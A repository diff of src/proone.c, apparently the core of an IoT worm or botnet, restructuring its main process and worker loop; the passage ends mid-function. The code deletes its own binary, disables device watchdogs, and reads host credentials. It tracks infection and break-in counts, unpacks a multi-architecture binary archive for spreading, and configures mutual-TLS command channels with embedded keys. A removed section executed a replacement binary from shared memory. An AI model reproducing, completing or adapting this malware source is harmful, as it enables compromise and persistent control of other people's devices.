aboutsummaryrefslogtreecommitdiff
path: root/src/proone.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/proone.c')
-rw-r--r--src/proone.c626
1 files changed, 243 insertions, 383 deletions
diff --git a/src/proone.c b/src/proone.c
index c5354ff..be89d23 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -15,45 +15,43 @@
#include <sys/mman.h>
#include <sys/file.h>
#include <sys/wait.h>
-#include <sys/random.h>
#include "proone.h"
+#include "protocol.h"
#include "util_rt.h"
#include "dvault.h"
-#include "heartbeat-worker.h"
+#include "llist.h"
+// #include "htbt-worker.h"
+#include "mbedtls.h"
#include "proone_conf/x509.h"
struct prne_global prne_g;
struct prne_shared_global *prne_s_g = NULL;
-
-typedef struct {
- prne_worker_t worker;
- prne_worker_sched_req_t sched_req;
-} worker_tuple_t;
-
-typedef struct {
- struct pollfd *arr;
- size_t size;
-} pollfd_pool_t;
-
-static worker_tuple_t worker_pool[1];
-static size_t worker_pool_size = 0;
+static prne_worker_t resolv_wkr;
+static prne_worker_t htbt_wkr;
+static prne_worker_t* wkr_arr[2] = { NULL, NULL };
+static prne_llist_t wkr_pool;
static void (*proc_fin_call_ptr)(void) = NULL;
static bool finalising = false;
-static pollfd_pool_t pollfd_pool;
-
-static prne_rnd_engine_t *mk_rnd_engine (void);
+static int int_pipe[2] = { -1, -1 };
+static prne_wkr_pollfd_slot_pt int_pfd = NULL;
static void proc_fin_call (void) {
if (prne_g.caught_signal != 0) {
- size_t i;
- worker_tuple_t *wt;
+ prne_llist_entry_t *cur = wkr_pool.head;
+ prne_worker_t *w;
+
+ prne_free_wkr_pollfd_slot(int_pfd);
+ int_pfd = NULL;
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = worker_pool + i;
- wt->worker.fin(wt->worker.ctx);
+ while (cur != NULL) {
+ w = (prne_worker_t*)cur->element;
+ if (!w->has_finalised(w->ctx)) {
+ w->fin(w->ctx);
+ }
+ cur = cur->next;
}
proc_fin_call_ptr = prne_empty_func;
@@ -61,164 +59,150 @@ static void proc_fin_call (void) {
}
}
-static int proone_main (void) {
- int exit_code = 0;
- size_t i;
- worker_tuple_t *wt;
- prne_worker_sched_info_t sched_info;
-
- prne_g.rnd = mk_rnd_engine();
-
- // done with the terminal
- close(STDIN_FILENO);
- close(STDOUT_FILENO);
- close(STDERR_FILENO);
+static void init_workers (prne_wkr_sched_req_t *sched_req) {
+ prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd);
+ if (prne_g.resolv != NULL) {
+ resolv_wkr.id = PRNE_RESOLV_WKR_ID;
+ wkr_arr[0] = &resolv_wkr;
+ prne_llist_append(&wkr_pool, &resolv_wkr);
+ }
+}
-#ifndef PRNE_DEBUG
- signal(SIGPIPE, SIG_IGN);
+#ifdef PRNE_DEBUG
+static void handle_sigpipe (const int sn) {
+ // ALWAYS poll() before writing to fd!
+ abort();
+}
#endif
- // init workers
- if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) {
- worker_pool_size += 1;
- }
+static int proone_main (void) {
+#ifdef PRNE_DEBUG
+ static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s
+#endif
+ static int exit_code = 0, poll_ret;
+ static prne_wkr_tick_info_t tick_info;
+ static prne_wkr_sched_req_t sched_req;
+ static prne_llist_entry_t *cur;
+ static prne_worker_t *wkr;
+#ifdef PRNE_DEBUG
+ static struct {
+ prne_wkr_sched_req_t sched;
+ prne_wkr_timeout_slot_pt busy_tos;
+ bool sched_ret;
+ } dbg;
+#endif
- // TODO
+#ifdef PRNE_DEBUG
+ signal(SIGPIPE, handle_sigpipe);
+#else
+ signal(SIGPIPE, SIG_IGN);
+#endif
- for (i = 0; i < worker_pool_size; i += 1) {
- prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL);
+#ifdef PRNE_DEBUG
+ prne_init_wkr_sched_req(&dbg.sched);
+ dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched);
+ assert(dbg.busy_tos != NULL);
+#endif
+ prne_init_wkr_sched_req(&sched_req);
+ prne_init_wkr_tick_info(&tick_info);
+ prne_init_llist(&wkr_pool);
+ init_workers(&sched_req);
+ if (pipe(int_pipe) == 0) {
+ prne_set_pipe_size(int_pipe[0], 1);
+ prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC));
+ prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC));
+ }
+ int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req);
+ if (int_pfd != NULL) {
+ int_pfd->pfd.fd = int_pipe[0];
+ int_pfd->pfd.events = POLLIN;
+ }
+
+ if (wkr_pool.size == 0) {
+ exit_code = 1;
+ goto END;
}
-
- if (worker_pool_size == 0 || prne_g.caught_signal != 0) {
+ if (prne_g.caught_signal != 0) {
goto END;
}
proc_fin_call_ptr = proc_fin_call;
-
- prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick));
- pollfd_pool.arr = NULL;
- pollfd_pool.size = 0;
+ prne_wkr_tick_info_set_start(&tick_info);
while (true) {
- prne_worker_sched_flag_t all_sched_flag = PRNE_WORKER_SCHED_FLAG_NONE;
- struct timespec timeout;
- size_t total_pollfd_size = 0;
- bool worked = false;
-
- prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick));
- sched_info.tick_diff = prne_sub_timespec(&sched_info.this_tick, &sched_info.last_tick);
- sched_info.real_tick_diff = prne_real_timespec(&sched_info.tick_diff);
-
proc_fin_call_ptr();
-
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = worker_pool + i;
-
- if (wt->worker.has_finalised(wt->worker.ctx)) {
- continue;
- }
- wt->worker.work(wt->worker.ctx, &sched_info, &wt->sched_req);
- worked |= true;
+ cur = wkr_pool.head;
+ while (cur != NULL) {
+ wkr = (prne_worker_t*)cur->element;
- if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
- if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
- if (prne_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) {
- timeout = wt->sched_req.timeout;
- }
- }
- else {
- timeout = wt->sched_req.timeout;
- }
+ if (wkr->has_finalised(wkr->ctx)) {
+ cur = prne_llist_erase(&wkr_pool, cur);
}
- if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
- total_pollfd_size += wt->sched_req.pollfd_arr_size;
+ else {
+ wkr->work(wkr->ctx, &tick_info);
+ cur = cur->next;
}
-
- all_sched_flag |= wt->sched_req.flags;
}
- sched_info.last_tick = sched_info.this_tick;
-
- if (!worked) {
- if (!finalising) {
- exit_code = 1;
- }
+ if (wkr_pool.size == 0) {
+ exit_code = finalising ? 0 : 1;
break;
}
- else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_POLL) {
- void *ny_mem;
- size_t pollfd_ptr;
-
- /* FIXME: `total_pollfd_size` could be zero if there's some bug in
- * one of the workers.
- */
- ny_mem = prne_realloc(pollfd_pool.arr, sizeof(struct pollfd), total_pollfd_size);
- if (ny_mem != NULL) {
- pollfd_pool.arr = (struct pollfd*)ny_mem;
- pollfd_pool.size = total_pollfd_size;
-
- pollfd_ptr = 0;
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = &worker_pool[i];
-
- if (wt->worker.has_finalised(wt->worker.ctx)) {
- continue;
- }
-
- if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
- wt->sched_req.pollfd_ready = false;
- memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd));
- pollfd_ptr += wt->sched_req.pollfd_arr_size;
- }
- }
- if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) {
- switch (errno) {
- case EINTR:
- case ENOMEM:
- break;
- default:
- abort();
- }
- }
- else {
- pollfd_ptr = 0;
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = &worker_pool[i];
-
- if (wt->worker.has_finalised(wt->worker.ctx)) {
- continue;
- }
-
- if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) {
- wt->sched_req.pollfd_ready = true;
- memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size);
- pollfd_ptr += wt->sched_req.pollfd_arr_size;
- }
- }
+ poll_ret = -1;
+ if (prne_wkr_sched_req_prep_poll(&sched_req)) {
+#ifdef PRNE_DEBUG
+ if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) {
+ if (!dbg.busy_tos->active) {
+ dbg.busy_tos->active = true;
+ dbg.busy_tos->dur = DBG_BUSY_CHECK_INT;
}
}
+ else {
+ dbg.busy_tos->active = false;
+ }
+ dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched);
+#endif
+ prne_wkr_sched_req_do_poll(&sched_req, &poll_ret);
}
- else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) {
- if (nanosleep(&timeout, NULL) < 0 && errno != EINTR) {
- abort();
+ else {
+#ifdef PRNE_DEBUG
+ dbg.busy_tos->active = false;
+ dbg.sched_ret = false;
+#endif
+ }
+ prne_wkr_tick_info_set_tick(&tick_info);
+ prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff);
+#ifdef PRNE_DEBUG
+ if (dbg.sched_ret) {
+ prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff);
+ if (dbg.busy_tos->active && dbg.busy_tos->reached) {
+ const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT);
+ dbg.busy_tos->active = false;
+ fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s");
}
}
+#endif
}
END:
- prne_free(pollfd_pool.arr);
- pollfd_pool.arr = NULL;
- pollfd_pool.size = 0;
-
- for (i = 0; i < worker_pool_size; i += 1) {
- wt = &worker_pool[i];
- wt->worker.free(wt->worker.ctx);
- wt->sched_req.mem_func.free(&wt->sched_req);
- }
-
- prne_free_rnd_engine(prne_g.rnd);
- prne_g.rnd = NULL;
+ for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) {
+ if (wkr_arr[i] == NULL) {
+ continue;
+ }
+ wkr_arr[i]->free(wkr_arr[i]->ctx);
+ wkr_arr[i] = NULL;
+ }
+ prne_free_llist(&wkr_pool);
+ prne_free_wkr_pollfd_slot(int_pfd);
+ prne_free_wkr_tick_info(&tick_info);
+ prne_free_wkr_sched_req(&sched_req);
+#ifdef PRNE_DEBUG
+ prne_free_wkr_timeout_slot(dbg.busy_tos);
+ prne_free_wkr_sched_req(&dbg.sched);
+#endif
return exit_code;
}
@@ -226,7 +210,7 @@ END:
static bool ensure_single_instance (void) {
prne_g.lock_shm_fd = shm_open(
prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL),
- O_RDWR | O_CREAT | O_TRUNC,
+ O_RDWR | O_CREAT,
0666);
prne_dvault_reset_dict();
if (prne_g.lock_shm_fd < 0) {
@@ -234,7 +218,7 @@ static bool ensure_single_instance (void) {
}
if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) {
- close(prne_g.lock_shm_fd);
+ prne_close(prne_g.lock_shm_fd);
prne_g.lock_shm_fd = -1;
return false;
@@ -278,7 +262,7 @@ static void disasble_watchdog (void) {
for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) {
if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) {
ioctl(fd, 0x80045704, &one);
- close(fd);
+ prne_close(fd);
break;
}
}
@@ -286,11 +270,10 @@ static void disasble_watchdog (void) {
}
static void handle_interrupt (const int sig) {
- prne_g.caught_signal = sig;
+ uint8_t rubbish = 0;
- if (prne_g.proone_pid != 0) {
- kill(prne_g.proone_pid, sig);
- }
+ prne_g.caught_signal = sig;
+ write(int_pipe[1], &rubbish, 1);
}
static void setup_signal_actions (void) {
@@ -305,30 +288,6 @@ static void setup_signal_actions (void) {
sigaction(SIGTERM, &sa, NULL);
}
-static void print_ready_signature (prne_rnd_engine_t *rnd) {
- size_t len;
- uint8_t *sig_data;
- char *plain_str, *sig_str;
-
- plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len);
-
- sig_data = (uint8_t*)prne_malloc(1, len + 1);
- sig_data[0] = (uint8_t)(prne_rnd_gen_int(rnd) % 256);
- memcpy(sig_data + 1, plain_str, len);
- prne_dvault_reset_dict();
- prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]);
-
- sig_str = prne_enc_base64_mem(sig_data, len);
- if (sig_str == NULL) {
- abort();
- }
-
- puts(sig_str);
-
- prne_free(sig_str);
- prne_free(sig_data);
-}
-
static void read_host_credential (void) {
static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3;
char *buf = (char*)prne_malloc(1, buf_size);
@@ -345,8 +304,12 @@ static void read_host_credential (void) {
break;
}
}
- if (found) {
- prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size);
+ if (found &&
+ prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) &&
+ prne_g.host_cred_size > 1 + 2 + 255 * 2) {
+ prne_free(prne_g.host_cred_data);
+ prne_g.host_cred_data = NULL;
+ prne_g.host_cred_size = 0;
}
END:
@@ -357,143 +320,54 @@ static void set_env (void) {
// environment set up function calls in here
}
-static void create_ny_bin_shm (prne_rnd_engine_t *rnd) {
- const size_t str_len = 1 + 10;
-
- prne_g.ny_bin_shm_name = prne_malloc(1, str_len + 1);
- if (prne_g.ny_bin_shm_name == NULL) {
- return;
- }
-
- prne_g.ny_bin_shm_name[0] = '/';
- prne_g.ny_bin_shm_name[str_len] = 0;
- prne_rnd_anum_str(rnd, prne_g.ny_bin_shm_name + 1, str_len - 1);
-
- prne_g.ny_bin_shm_fd = shm_open(prne_g.ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0000);
- if (prne_g.ny_bin_shm_fd < 0) {
- prne_free(prne_g.ny_bin_shm_name);
- prne_g.ny_bin_shm_name = NULL;
- }
-}
-
-static void exec_ny_bin (void) {
- // Just die on error
- static const size_t proc_fd_path_size = 14 + 11 + 1;
- uint8_t *data, *bin = NULL;
- size_t i, args_size, bin_size, argc = 0, cnt;
- char *arg_str;
- const char **args;
- struct stat st;
- char *proc_fd_path;
- char *real_shm_path;
-
- if (prne_g.ny_bin_shm_fd < 0) {
- return;
- }
-
- if (fstat(prne_g.ny_bin_shm_fd, &st) < 0 || st.st_size < 0) {
- abort();
- }
- if (st.st_size == 0) {
- if (prne_s_g->has_ny_bin) {
- abort();
+static void load_ssl_conf (void) {
+ if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) {
+ prne_g.s_ssl.ready =
+ mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
+ mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 &&
+ mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 &&
+ mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 &&
+ mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 &&
+ mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0;
+ if (prne_g.s_ssl.ready) {
+ mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL);
+ // mutual auth
+ mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED);
+ // ignore expired cert (system wall clock might not be set)
+ mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL);
}
- return;
- }
- data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, prne_g.ny_bin_shm_fd, 0);
- for (i = 1; i <= (size_t)st.st_size; i += 1) {
- if (data[st.st_size - i] == 0) {
- bin = &data[st.st_size - i + 1];
- break;
- }
- }
-
- if (bin == NULL) {
- abort();
- }
- args_size = bin - data;
- bin_size = st.st_size - args_size;
- arg_str = prne_malloc(1, args_size);
- memcpy(arg_str, data, args_size);
-
- memmove(bin, data, bin_size);
-
- munmap(data, (size_t)st.st_size);
- data = NULL;
- ftruncate(prne_g.ny_bin_shm_fd, bin_size);
- for (i = 0; i < args_size; i += 1) {
- if (arg_str[i] == 0) {
- argc += 1;
+ prne_g.c_ssl.ready =
+ mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
+ mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 &&
+ mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 &&
+ mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0;
+ if (prne_g.c_ssl.ready) {
+ mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL);
+ // mutual auth
+ mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED);
+ // ignore expired cert (system wall clock might not be set)
+ mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL);
}
}
- args = prne_malloc(sizeof(const char*), argc + 1);
- cnt = 1;
- for(i = 1; cnt < argc; i += 1) {
- if (arg_str[i] == 0) {
- args[cnt] = &arg_str[i + 1];
- cnt += 1;
- }
- }
- args[argc] = NULL;
-
- proc_fd_path = prne_malloc(1, proc_fd_path_size);
- snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", prne_g.ny_bin_shm_fd);
- if (lstat(proc_fd_path, &st) < 0) {
- abort();
- }
-
- real_shm_path = prne_malloc(1, st.st_size + 1);
- if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) {
- abort();
- }
-
- fchmod(prne_g.ny_bin_shm_fd, 0777);
- close(prne_g.ny_bin_shm_fd);
- prne_g.ny_bin_shm_fd = -1;
-
- args[0] = proc_fd_path;
- if (execv(real_shm_path, (char *const*)args) < 0) {
- abort();
- }
}
-static void init_ssl (void) {
- if (mbedtls_x509_crt_parse(&prne_g.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) != 0) {
- return;
- }
-
- prne_g.s_ssl_ready =
- mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
- mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 &&
- mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 &&
- mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 &&
- mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 &&
- mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0;
- if (prne_g.s_ssl_ready) {
- mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ca, NULL);
- }
-
- prne_g.c_ssl_ready =
- mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
- mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 &&
- mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 &&
- mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0;
- if (prne_g.c_ssl_ready) {
- mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ca, NULL);
+static void seed_ssl_rnd (const uint8_t *seed, const size_t slen) {
+ if (mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, seed, slen) != 0) {
+ mbedtls_ctr_drbg_seed(&prne_g.ssl.rnd, mbedtls_entropy_func, &prne_g.ssl.entpy, NULL, 0);
}
}
-static void init_shared_global (prne_rnd_engine_t *rnd) {
+static void init_shared_global (void) {
// just die on error
- const size_t str_len = 1 + 10;
+ const size_t str_len = 1 + 30;
int fd;
char *name;
name = prne_malloc(1, str_len + 1);
name[0] = '/';
name[str_len] = 0;
- prne_rnd_anum_str(rnd, name + 1, str_len - 1);
+ prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1);
fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000);
if (fd < 0) {
@@ -509,60 +383,63 @@ static void init_shared_global (prne_rnd_engine_t *rnd) {
if (prne_s_g == NULL) {
abort();
}
- close(fd);
+ prne_close(fd);
prne_s_g->bne_cnt = 0;
prne_s_g->infect_cnt = 0;
- prne_s_g->has_ny_bin = false;
}
int main (const int argc, char **args) {
- int exit_code = 0;
- prne_rnd_engine_t *rnd = NULL;
+ static int exit_code = 0;
+ static int exit_pipe[2] = { -1, -1 };
prne_g.host_cred_data = NULL;
prne_g.host_cred_size = 0;
- prne_g.ny_bin_shm_name = NULL;
- prne_g.rnd = NULL;
memset(&prne_g.god_start, 0, sizeof(struct timespec));
prne_g.run_cnt = 0;
+ prne_g.resolv = NULL;
+ prne_g.god_exit_evt = -1;
prne_g.caught_signal = 0;
prne_g.god_pid = getpid();
prne_g.proone_pid = 0;
prne_g.lock_shm_fd = -1;
- prne_g.ny_bin_shm_fd = -1;
prne_g.bin_ready = false;
+ prne_g.is_child = false;
prne_init_unpack_bin_archive_result(&prne_g.bin_pack);
prne_init_bin_archive(&prne_g.bin_archive);
- mbedtls_x509_crt_init(&prne_g.ca);
+ mbedtls_x509_crt_init(&prne_g.ssl.ca);
+ mbedtls_entropy_init(&prne_g.ssl.entpy);
+ mbedtls_ctr_drbg_init(&prne_g.ssl.rnd);
mbedtls_ssl_config_init(&prne_g.s_ssl.conf);
mbedtls_x509_crt_init(&prne_g.s_ssl.crt);
mbedtls_pk_init(&prne_g.s_ssl.pk);
mbedtls_dhm_init(&prne_g.s_ssl.dhm);
- prne_g.s_ssl_ready = false;
+ prne_g.s_ssl.ready = false;
mbedtls_ssl_config_init(&prne_g.c_ssl.conf);
mbedtls_x509_crt_init(&prne_g.c_ssl.crt);
mbedtls_pk_init(&prne_g.c_ssl.pk);
- prne_g.c_ssl_ready = false;
+ prne_g.c_ssl.ready = false;
// inits that need no outside resources
prne_init_dvault();
- init_ssl();
set_env();
+ if (pipe(exit_pipe) == 0) {
+ prne_set_pipe_size(exit_pipe[0], 1);
+ prne_ok_or_die(fcntl(exit_pipe[0], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(exit_pipe[1], F_SETFL, O_NONBLOCK));
+ prne_ok_or_die(fcntl(exit_pipe[0], F_SETFD, FD_CLOEXEC));
+ prne_ok_or_die(fcntl(exit_pipe[1], F_SETFD, FD_CLOEXEC));
+ prne_g.god_exit_evt = exit_pipe[0];
+ }
/* inits that need outside resources. IN THIS ORDER! */
- if (!ensure_single_instance()) {
- exit_code = 1;
- goto END;
- }
- rnd = mk_rnd_engine();
- init_shared_global(rnd);
- create_ny_bin_shm(rnd);
+ load_ssl_conf();
+ seed_ssl_rnd(NULL, 0);
+ init_shared_global();
delete_myself(args[0]);
disasble_watchdog();
- print_ready_signature(rnd);
read_host_credential();
// get fed with the bin archive
prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO);
@@ -570,9 +447,21 @@ int main (const int argc, char **args) {
prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK;
}
+ if (!ensure_single_instance()) {
+ exit_code = 1;
+ goto END;
+ }
+
+ // done with the terminal
+ prne_close(STDIN_FILENO);
+ prne_close(STDOUT_FILENO);
+#ifndef PRNE_DEBUG
+ prne_close(STDERR_FILENO);
+#endif
+
setup_signal_actions();
- prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start));
+ prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start));
// main loop
while (prne_g.caught_signal == 0) {
@@ -582,11 +471,8 @@ int main (const int argc, char **args) {
prne_g.run_cnt += 1;
}
- if (prne_g.proone_pid < 0) {
- sleep(1);
- }
- else if (prne_g.proone_pid > 0) {
- int status;
+ if (prne_g.proone_pid > 0) {
+ static int status;
while (prne_g.caught_signal == 0) {
if (waitpid(prne_g.proone_pid, &status, 0) < 0) {
@@ -597,29 +483,36 @@ int main (const int argc, char **args) {
continue;
}
}
-
- prne_g.proone_pid = 0;
break;
}
- if (!WIFEXITED(status)) {
- sleep(3);
- continue;
+ if (WIFEXITED(status)) {
+ if (WEXITSTATUS(status) == 0) {
+ break;
+ }
+#ifdef PRNE_DEBUG
+ fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status));
+#endif
}
- if (WEXITSTATUS(status) == 0) {
- break;
+ else if (WIFSIGNALED(status)) {
+#ifdef PRNE_DEBUG
+ fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status));
+#endif
}
+
+ sleep(1);
}
else {
- prne_free(prne_g.ny_bin_shm_name);
- close(prne_g.lock_shm_fd);
+ prne_close(prne_g.lock_shm_fd);
prne_g.lock_shm_fd = -1;
- prne_g.ny_bin_shm_name = NULL;
+ prne_g.is_child = true;
+ seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY));
exit_code = proone_main();
break;
}
}
+ prne_g.proone_pid = 0;
END:
prne_free_bin_archive(&prne_g.bin_archive);
@@ -630,12 +523,14 @@ END:
mbedtls_x509_crt_free(&prne_g.s_ssl.crt);
mbedtls_pk_free(&prne_g.s_ssl.pk);
mbedtls_dhm_free(&prne_g.s_ssl.dhm);
- prne_g.s_ssl_ready = false;
+ prne_g.s_ssl.ready = false;
mbedtls_ssl_config_free(&prne_g.c_ssl.conf);
mbedtls_x509_crt_free(&prne_g.c_ssl.crt);
mbedtls_pk_free(&prne_g.c_ssl.pk);
- prne_g.c_ssl_ready = false;
- mbedtls_x509_crt_free(&prne_g.ca);
+ prne_g.c_ssl.ready = false;
+ mbedtls_x509_crt_free(&prne_g.ssl.ca);
+ mbedtls_ctr_drbg_free(&prne_g.ssl.rnd);
+ mbedtls_entropy_free(&prne_g.ssl.entpy);
prne_free(prne_g.host_cred_data);
prne_g.host_cred_data = NULL;
@@ -644,50 +539,15 @@ END:
if (prne_g.lock_shm_fd >= 0) {
shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL));
prne_dvault_reset_dict();
- close(prne_g.lock_shm_fd);
+ prne_close(prne_g.lock_shm_fd);
prne_g.lock_shm_fd = -1;
}
prne_deinit_dvault();
- prne_free_rnd_engine(rnd);
- rnd = NULL;
-
-
- if (prne_s_g->has_ny_bin) {
- exec_ny_bin();
- }
-
- if (prne_g.ny_bin_shm_name != NULL) {
- shm_unlink(prne_g.ny_bin_shm_name);
- prne_free(prne_g.ny_bin_shm_name);
- }
- close(prne_g.ny_bin_shm_fd);
- prne_g.ny_bin_shm_name = NULL;
- prne_g.ny_bin_shm_fd = -1;
+ write(exit_pipe[1], &exit_code, sizeof(int));
+ prne_close(exit_pipe[0]);
+ prne_close(exit_pipe[1]);
return exit_code;
}
-
-static prne_rnd_engine_t *mk_rnd_engine (void) {
- uint32_t seed = 0;
- prne_rnd_engnie_alloc_result_t ret;
-
- getrandom(&seed, sizeof(uint32_t), 0);
-
- if (seed == 0) {
